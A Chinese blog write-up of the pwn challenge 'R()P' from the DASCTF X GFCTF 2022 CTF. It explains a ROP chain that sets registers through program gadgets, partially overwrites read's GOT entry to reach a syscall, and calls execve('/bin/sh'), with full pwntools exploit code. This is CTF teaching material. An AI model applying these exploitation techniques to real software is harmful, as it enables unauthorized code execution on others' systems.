首页 > 其他分享 >DASCTF X GFCTF 2022十月挑战赛 pwn R()P

DASCTF X GFCTF 2022十月挑战赛 pwn R()P

时间:2022-11-09 09:33:10浏览次数:47  
标签:p64 read GFCTF bss p32 pl 2022 pwn rax

R()P

image-20221030191927656

⾼版本上GCC编译的程序,没有csu这种好⽤的gadget可以⽤

image-20221030194050838

由于是优化过的编译,没有rbp链,⻓度参数通过rsp取得,地址通过rax取得

这就给了我们直接控制read的可能,可以直接达成任意写

我们可以爆破修改read函数的低位,把read函数改到它相邻的syscall去(libc.so中)

image-20221030195841486

假设我们需要execve("/bin/sh",rsi,rdx),需要控制四个寄存器的值,分别是rax=59,rdi->"/bin/sh",rsi=0|rsi->0,rdx->0|rdx=0,再调⽤read函数

rsi:0x401141

rsi也⽐较好控制,我们看第⼀个read的调⽤⾥

image-20221102095844463

这样我们只要最后⼀个处理rsi,那么rsi就可以很容易的被来⾃栈上的值设置

edx:0x40115d

没有找到可以直接控制rdx的办法,但是我们看第⼆次read调⽤中对于rdx的设置是

image-20221102095749674

由于最后⼀次read要改写read的got表,rdx不能为0,所以最后⼀次read时把rdx设置为指向0的值,之后不去改它就⾏了

eax:0x40116d

⾸先,rax很好控制,可以直接被栈上的值控制

image-20221102095722576

edi:0x401099

没有找到能直接从栈控制rdi的办法,但是梳理⼀下语句,可以发现在register_tm_clones函数中,有对于_ITM_registerTMCloneTable的调⽤,其调⽤⽅式为

image-20221030201755724

这是程序⾥为数不多的修改了rdi的地⽅,⽽正好修改的值是bss_start,即0x404018,是⼀个可读写的内存,

其下⼀个条语句为jmp rax,rax是我们可控的,那么只需要控制rax指向ret,就可以继续ROP了

先进⾏⼀次栈溢出,控制程序流,开始ROP,

⾸先控制rax为bss_start,接着使⽤ rax为read的buf,读⼊/bin/sh,

同时将rax置为read的got表,再⽤rax为read的buf,爆破syscall,

同时置rdx指向 NULL,

接着控制rax为⼀个ret指令的地址,

调⽤ mov edi, offset __bss_start ; jmp rax 设置rdi,

再将rax置 为59,将rsi置为0,再次调⽤read函数

bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126

rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a

read_buf = 0x401155
read_rax = 0x40115A

p.send(p32(0x100))
1.栈溢出+控制rax为bss_start

p64(0)用于lea rax, [rsp+18h+var_10]将0写入rsp,否则0x4040180000000将会进入rsp

image-20221102105231975

因为是32位寄存器,所以这里的p32(0)+p32(bss)是为了使bss地址在高位,变成0x4040180000000

使能够mov edx, dword ptr [rsp + 0xc],将我们想要的值赋给edx

image-20221102104740133

pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0) 

控制rax为bss_start,控制为bss_start的原因一是bss段可写、二是我们需要利用bss_start处来修改edi

image-20221102161958802

image-20221102104932133

pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0)

接着使⽤ rax为read的buf,读⼊/bin/sh

pause()
p.send(b"\x90")

将rax置为read的got表

image-20221102152500850

⽤rax为read的buf,改syscall

pl += p64(read_rax)+p64(0)+p32(0)+p32(bss+8)+p64(0)

我们先是查看到read_got往下0x10大小就是syscall

image-20221102152215831

pause()
p.send(b"\x90")

image-20221102153037952

pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret

同时置rdx指向 NULL

image-20221102154113456

image-20221102154121845

rax是我们可控的,控制rax指向ret,就可以继续ROP

pl += p64(rdi) #"/bin/sh" > rdi

#mov edi, offset _bss_start
#jmp rax 

使rax=59、rsi=0

pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59

pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0

本机就出了

远程也差不多,但需要爆破syscall

print(hex(libc.sym["read"]))
bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126

rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a

read_buf = 0x401155
read_rax = 0x40115A

p.send(p32(0x100))

pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0) 

pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0) #/bin/sh > bss


pl += p64(read_rax)+p64(0)+p32(0)+p32(bss-8)+p64(0) #read_got -> syscall


pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret

pl += p64(rdi) #"/bin/sh" > rdi

#mov edi, offset _bss_start
#jmp rax

pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59


pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0
'''
'''

#dbg()
p.send(pl)

pause()
p.send(b"/bin/sh")


pause()
#p.send(b"\x90")
p.send(b"\x0f")

itr()

image-20221102161337387

标签:p64,read,GFCTF,bss,p32,pl,2022,pwn,rax
From: https://www.cnblogs.com/shuzM/p/16872498.html

相关文章

  • 2022-11-08 行情启动时的拐点,上下上形成了奔走中枢或者线段走势
    案例一:先看今天纳斯达克的一小段上涨1分钟的一段下上下走势引出的5分钟一笔上涨  案例2:EUR/USD 一开始的启动1.4h下跌终于出现最后一跌2.30分钟出现横盘整......
  • 组帧封包-20221108
    42byteaddress=Convert.ToByte(tbxAddress.Text.Trim(),16);//地址码43bytecmd=Convert.ToByte(tbxCmd.Text.Trim()......
  • 2022-11-8学习内容
    1.案例-购物车-商品列表展示1.1MyApplication.javapackagecom.example.chapter06;importandroid.app.Application;importandroid.content.res.Configuration;imp......
  • 2022.11.8(软件工程y实验一)
    1)回顾你过去将近3年的学习经历当初你报考的时候,是真正喜欢计算机这个专业吗?你现在后悔选择了这个专业吗?你认为你现在最喜欢的领域是什么(可以是计算机的也可以是其它领......
  • 2022.11.8
    ###csp模拟##出错点t1:for(intj=st;j*p[i]<=r;j++){if(vv[j*p[i]-l])continue;//不减l就超了!vv[j*p[i]-l]=p[i];} 没有考虑......
  • CSP-S 2022 题解
    A假期计划若\(u\)转车不超过\(k\)次可以到达\(v\),相当于\(u\leadstov\)的最短路长度不超过\(k+1\)。对于每个点\(u\),我们首先预处理满足如下条件的点\(v\)......
  • #yyds干货盘点#【愚公系列】2022年11月 微信小程序-导航(功能页)
    前言functional-page-navigator组件:是一个非常强大的组件,用于跳转插件的功能页,主要的参数如下:属性类型默认值必填说明最低版本versionstringrelease否......
  • 【2022-11-08】Git使用
    一、Git介绍#Git简介Git是一款免费、开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。Git是一个开源的分布式版本控制系统,可以有效、高速的处理从很......
  • DASCTF X CBCTF 2022九月挑战赛
    DASCTFXCBCTF2022九月挑战赛期中考结束了有点时间,做点题熟一下手,欢迎讨论dino3D审计源码找到了发送请求的部分importrequestsfromhashlibimportmd5import......
  • [蓝桥杯 2022 省 B] 积木画
    [蓝桥杯2022省B]积木画题目描述小明最近迷上了积木画,有这么两种类型的积木,分别为\(I\)型(大小为\(2\)个单位面积)和\(L\)型(大小为\(3\)个单位面积):同时......